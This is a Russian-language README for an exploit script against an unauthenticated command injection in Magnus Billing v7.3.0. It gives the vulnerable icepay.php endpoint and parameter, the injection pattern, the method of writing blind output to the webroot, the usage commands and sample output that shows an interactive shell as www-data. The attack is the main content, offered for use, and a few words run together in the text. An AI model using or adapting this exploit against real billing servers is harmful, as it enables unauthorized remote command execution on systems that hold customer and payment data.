
Уязвимость неаутентифицированного внедрения команд в Magnus Billing v7.3.0.
Неаутентифицированная уязвимость внедрения команд в Magnus Billing v7.3.0. GET-параметр
democвicepay.phpпередаётся напрямую в shell-функцию без санитизации, что позволяет выполнять произвольные команды от имени пользователя веб-сервера. Внедрение является слепым — вывод не отражается в HTTP-ответе, — поэтому этот эксплойт перенаправляет вывод каждой команды в файл в корне веб-сервера и забирает его обратно по HTTP.
/mbilling/lib/icepay/icepay.php?democ=;<command>;.out.txt).Если целевая система использует другой путь к корню веб-сервера, измените
OUTPUT_FILEв начале скрипта.
python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
python3 exploit.py -t http://TARGET
Пример:
$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data